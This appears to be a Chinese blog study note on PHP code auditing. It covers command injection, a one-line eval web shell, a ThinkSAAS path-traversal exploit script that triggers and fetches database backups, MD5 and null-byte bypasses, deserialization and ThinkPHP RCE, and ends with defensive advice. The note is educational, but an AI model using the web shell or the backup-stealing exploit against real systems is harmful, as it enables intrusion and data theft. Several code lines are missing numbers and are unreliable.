应用安全 - 代码审计 - PHP
RCE
RCE函数
eval、preg_replace + /e模式、assertJavascript:evalVbscript: Execute、EvalPython:exec
<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php'); ?>
<br/><b>Ping:</b>Please Enter Domain Name or IP Address: <br/><br/>
<form action="cmd.php" method="get">
<input type="text" name="host" value=""/>
<br/><br/><input type="submit" name="Go" value="Go"/>
</form>
<br/> <?php
if(isset($_GET['host']))
{
if(strtoupper(substr(PHP_OS, , )) === 'WIN')
{
$result=shell_exec("ping ".$_GET['host']);
}
else
{
$result=shell_exec("ping -c 4 ".$_GET['host']);
} echo "<b>Result:</b></br><pre>".$result."</pre>";
}
?> <?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>
<?php
eval($_REQUEST['code']);
?>
LFI -》 备份文件下载
<?php
//插件条件入口
defined('IN_TS') or die('Access Denied.');
if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){
require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php');
}else{
tsNotice('sorry:no plugin!');
} defined('IN_TS') or die('Access Denied.');
switch($ts){
case "": //输出备份文件
$arrSqlFile = tsScanDir('data/baksql','file'); include template('sql');
break; //优化
case "optimize":
$arrTables = $db->fetch_all_assoc("SHOW TABLES");
foreach($arrTables as $key=>$item){
$db->query("OPTIMIZE TABLE `".$item."` ");
}
qiMsg('优化数据库成功!');
break; //备份导出
case "export": require_once 'thinksaas/DbManage.php';
$bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' );
$bakdb->backup ('','data/baksql/'); qiMsg('数据库备份完毕!'); break; ?php
date_default_timezone_set('Asia/Hong_Kong');
$url = "http://192.168.116.129/thinksaas/index.php?app=user&ac=plugin&plugin=face&in=my5t3ry/../../../../app/system/action/sql&ts=export";
file_get_contents($url);
$time = date('YmdHis');
for($i = $time; $i <= $time + ; $i++){
$filename = $i ."_all_v1.sql";
$url = "http://192.168.116.129/thinksaas/data/baksql/".$filename;
if (@file_get_contents($url, null, null, -, )){
echo $url;
}
}
?>
php绕过MD5 - 科学计数法绕过
php绕过MD5 - 数组全等绕过
PHP版本漏洞
PHP5..x 00截断 例如url输入的文件名1.txt%.jpg经过url转码后会变为1.txt\.jpg
反序列化
常见魔术方法
__construct()
,__destruct()
,__call()
,__callStatic()
,__get()
, __set()
, __isset()
,__unset()
,__sleep()
,__wakeup()
,__toString()
,__invoke()
,__set_state()
,__clone(),
__debugInfo()
逻辑判断 -
CVE-2016-7124(__wakeup()魔术方法绕过) 漏洞影响版本:PHP5 < 5.6.25 | PHP7 < 7.0.1
框架反序列化
Joomla反序列化漏洞
框架漏洞
thinkphp thinkphp5远程代码执行漏洞
修复 - 》 ThinkPHP .0系列升级到 5.0. ,ThinkPHP .1系列升级到 5.1.
RCE - 防御
防御
. 尽量少用执行命令的函数或者直接禁用
. 参数值尽量使用引号包括
. 在使用动态函数之前,确保使用的函数是指定的函数之一
. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
. 能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
. 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置
应用安全 - 代码审计 - PHP的更多相关文章
- PHP代码审计中你不知道的牛叉技术点
一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实 ...
- 技术专题-PHP代码审计
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/24472674来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 一.前言 php代码审计如字面 ...
- 关于PHP代码审计和漏洞挖掘的一点思考
这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...
- Kindeditor 代码审计
<?php /** * KindEditor PHP * * 本PHP程序是演示程序,建议不要直接在实际项目中使用. * 如果您确定直接使用本程序,使用之前请仔细确认相关安全设置. * */ r ...
- 一个CMS案例实战讲解PHP代码审计入门
前言 php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞. 1.环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建 审计环境 window ...
- php代码审计基础笔记
出处: 九零SEC连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 --------------------------- ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况 ...
- PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况
0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...
- 【转】PHP代码审计
PHP代码审计 目录 1. 概述3 2. 输入验证和输出显示3 2.1 命令注入4 2.2 跨站脚本4 2.3 文件包含5 2.4 代码注入5 2.5 SQL注入6 2.6 XPath注入6 2.7 ...
随机推荐
- Testbench学习笔记
Testbench学习笔记(一) 书写testbench是数字电路设计中不可或缺的一项设计方法,主要是提供的是激励.尽管现在各种开发工具都通过绘制波形图的方法生成测试激励,测试书写的代码,但是其不可移 ...
- 分布式FastDfs+nginx缓存高可用集群构建
介绍: FastDFS:开源的高性能分布式文件系统:主要功能包括:文件存储,文件同步和文件访问,以及高容量和负载平衡 FastDFS:角色:跟踪服务器(Tracker Server).存储服务器(St ...
- 洛谷 P2704 [NOI2001]炮兵阵地 (状态压缩DP+优化)
题目描述 司令部的将军们打算在NM的网格地图上部署他们的炮兵部队.一个NM的地图由N行M列组成,地图的每一格可能是山地(用"H" 表示),也可能是平原(用"P" ...
- EffectiveC++01-03
导读 作者Scott Meyers在如何有效运用C++方面给出了55个具体的做法,大致分为两类: 一般性的设计策略,集中于"如何在不同的做法中选择一种完成任务" 选择inherit ...
- linux下vim如何清空一个文件?
这是一个很巧妙的方法.如何来清空一个文件里的内容呢! 很简单,但确很实用: echo " " > filename(文件名称); 一句话就可以搞定.
- CF1103D Codeforces Round #534 (Div. 1) Professional layer 状压 DP
题目传送门 https://codeforces.com/contest/1103/problem/D 题解 失去信仰的低水平选手的看题解的心路历程. 一开始看题目以为是选出一些数,每个数可以除掉一个 ...
- windows10安装pycharm,以及pycharm教程和破解码
pycharm下载请点我 根据自己的情况选择安装目录 下面我们选择"64位安装"(根据自己的系统来选择),并勾上".py",如图所示: 一定要拉到最后才行 p ...
- 弹性盒子FlexBox简介(二)
弹性盒子属性 一.align-content属性 属性作用:用于修改flex-wrap属性行为.类似于justify-content,但它不是设置弹性子元素的对齐,而是设置各个行的对齐. 属性值: f ...
- STM32内部硬核的认识
STM32内部含有硬核,对于一些协议(例如:UART,SPI,IIC,CRC等)我们只要调用硬核就可以了,同时我们也可以自己写通信协议. 这些硬核最终肯定是要有引脚输出的,这就是为什么STM32的引脚 ...
- tarjan相关模板
感性理解: o(* ̄︶ ̄*)o ^_^ \(^o^)/~ 1. 当根节点有大于两个儿子时,割掉它,剩下的点必然不联通(有两个强连通分量),则他为割点. 那么对于非根节点,在无向图G中,刚且仅当点u存 ...